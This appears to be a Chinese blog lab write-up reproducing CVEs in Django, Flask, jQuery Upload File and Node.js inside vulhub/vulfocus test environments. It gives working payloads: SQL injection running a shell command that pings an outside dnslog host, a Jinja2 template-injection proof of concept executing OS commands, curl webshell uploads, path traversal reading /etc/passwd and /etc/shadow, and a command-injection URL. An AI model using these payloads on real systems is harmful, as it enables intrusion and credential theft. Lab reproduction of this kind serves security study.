框架安全-CVE 漏洞复现&Django&Flask&Node.js&JQuery框架漏洞复现-CSDN博客
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
目录
服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
中间件列表介绍
中间件及框架列表
IISApacheNginxTomcatDockerK8sWeblogicJBoosWebSphereJenkins GlassFishJettyJiraStruts2LaravelSolrShiroThinkphpSpringFlaskjQuery 等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl
常见语言开发框架
PHPThinkphp Laravel YII CodeIgniter CakePHP Zend 等
JAVASpring MyBatis Hibernate Struts2 Springboot 等
PythonDjango Flask Bottle Turbobars Tornado Web2py 等
JavascriptVue.js Node.js Bootstrap JQuery Angular 等
常见中间件的安全测试
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
中间件安全测试流程
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
开发框架组件安全测试流程
1、判断常见语言开发框架类型
2、判断开发框架存在的 CVE 问题
Python开发框架安全-Django&Flask漏洞复现
Django开发框架
Django是一个高级的Python Web框架可以快速开发安全和可维护的网站。由经验丰富的开发者构建Django负责处理网站开发中麻烦的部分可以专注于编写应用程序而无需重新开发。它是免费和开源的有活跃繁荣的社区丰富的文档以及很多免费和付费的解决方案。
Django 是一款广为流行的开源 web 框架由 Python 编写许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式即模型 M视图 V 和模版 T使用
Django程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件使得 Django 具有较强的可扩展性。
安全问题
CVE_2019_14234
CVE-2021-35042
…
漏洞复现
CVE-2019-14234Django JSONField/HStoreField SQL注入漏洞
该漏洞要求开发者使用 JSONField/HStoreField;此外还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响这为我们提供了一种重现漏洞的简单方法。
靶场vulhub
参考Django JSONField/HStoreField SQL注入漏洞复现
开启环境
访问web界面
首先使用用户名和密码登录 Django-Admin。
http://your-ip:8000/admin/
账号admin
密码a123123123
成功登录
然后转到模型的列表视图
http://your-ip:8000/admin/vuln/collection/
Collection
添加到 GET 参数中其中是 JSONField
detail__a'b=123
detail
payload:
http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123
可以看到单引号注入成功SQL语句报错
创建 cmd_exec
payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20
执行效果
成功创建
调用 cmd_exec 执行命令
payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20
DNSlog回显效果
CVE-2021-35042Django QuerySet.order_by SQL注入漏洞
该漏洞需要开发人员使用order_by功能。此外还可以控制查询集的输入。
靶场vulhub
参考Django QuerySet.order_by SQL注入漏洞复现
开启环境
访问web界面
首先转到列表视图并添加到 GET 参数。
payload:
http://your-ip:8000/vuln/order=-id
执行过后会看到按 id 降序排序的数据
payload:
目录
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20@@basedir)),1)%23
版本
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23
数据库名
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23
可以看到单括号已经注入成功可以从错误中获取信息。
查看目录:
爆版本号
爆数据库名
Flask Jinja2 SSTI
介绍Flask详解
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用
Werkzeug 模板引擎则使用 Jinja2。Flask使用 BSD 授权。Flask也被称为 “microframework” 因为它使用简单的核心用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。
安全问题
FlaskJinja2 服务端模板注入漏洞
…
漏洞复现
FlaskJinja2 服务端模板注入漏洞
靶场vulhub
开启环境
访问web界面
接下来进行访问http://your-ip/?name={{123*123}}
得到15129这个结果则说明SSTI漏洞存在。
获取eval函数并执行任意python代码的POC
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
ps:需要进行url编码编码过后直接通过GET请求发送即可。
执行命令处自定义像要执行的命令查看的信息每次更换命令都需要进行URL编码重新发送。
其他命令lswhoami
执行效果
JavaScript开发框架安全-Jquery&Node漏洞复现
jQuery框架
介绍jQuery详解
jQuery是一个快速、简洁的JavaScript框架是继Prototype之后又一个优秀的JavaScript代码库框架于2006年1月由John Resig发布。jQuery设计的宗旨是“write LessDo More”即倡导写更少的代码做更多的事情。它封装JavaScript常用的功能代码提供一种简便的JavaScript设计模式优化HTML文档操作、事件处理、动画设计和Ajax交互。
安全问题
CVE_2018_9207
CVE_2018_9208
CVE_2018_9209
…
漏洞复现
CVE_2018_9207-jQuery Upload File漏洞复现
jQuery是一个快速、简洁的JavaScript框架是继Prototype之后又一个优秀的JavaScript代码库框架于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file
靶场vulfocus
开启靶场
访问web界面
访问框架引用目录结构
/jquery-upload-file/
利用
一条命令即可解决访问并上传文件。
payload:
//访问网站进行上传前提是在文件夹下创建后门文件。
curl -F "myfile=@shell.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"
curl -F "myfile=@cmd.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"
上传shell.php
上传cmd.php:
查看
上传文件所在位置(后门为php)
/jquery-upload-file/php/uploads/
验证可否解析执行
使用蚁剑连接
连接成功
其他列出的安全问题基本都差不多。
Node.js
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境用于方便的搭建响应
速度快、易于拓展的网络应用。Node.js对一些特殊用例进行优化提供替代的API使得V8在非浏览器环境下运行得更好V8引擎执行Javascript的速度非常快性能非常好基于Chrome JavaScript运行时建立的平台 用于方便地搭建响应速度快、易于扩展的网络应用
安全问题
CVE_2021_21315
CVE_2017_14849
…
漏洞复现
Node.js 目录穿越漏洞CVE-2017-14849
Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。
漏洞原因是 Node.js 8.5.0 对目录进行
normalize
操作时出现了逻辑错误导致向上层跳跃的时候如../../../../../../etc/passwd
在中间位置增加foo/../
如../../../foo/../../../../etc/passwd
即可使normalize
返回/etc/passwd
但实际上正确结果应该是../../../../../../etc/passwd
。express这类web框架通常会提供了静态文件服务器的功能这些功能依赖于
normalize
函数。比如express在判断path是否超出静态目录范围时就用到了normalize
函数上述BUG导致normalize
函数返回错误结果导致绕过了检查造成任意文件读取漏洞。
靶场vulfocus
开启环境
访问web界面
其中引用到了文件/static/main.js
说明其存在静态文件服务器。
构造请求
通过GET请求发送以下数据包即可
GET
...
/static/../../../a/../../../../etc/passwd
...
完整数据包
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
发送给重发器然后再发送数据包过后
如果打开web界面抓包时构造请求后发包无法正常回显状态码报错。可尝试删除cookie等相关信息不然可能会无法正常回显错误状态码。如果正常回显就可以不用删除。
效果成功读取/etc/passwd
文件
效果成功读取/etc/shadow
文件
Node.js 命令执行 CVE-2021-21315
Node.js-systeminformation是用于获取各种系统信息的Node.JS模块它包含多种轻量级功能可以检索详细的硬件和系统相关信息 npm团队发布安全公告Node.js库中的systeminformation软件包中存在一个命令注入漏洞CVE-2021-21315其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。
靶场vulfocus
开启环境
访问web界面
构造GET请求
payload
/api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt)
执行过后
验证
成功生成该文件
docker ps
docker exec -it id /bin/bash
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |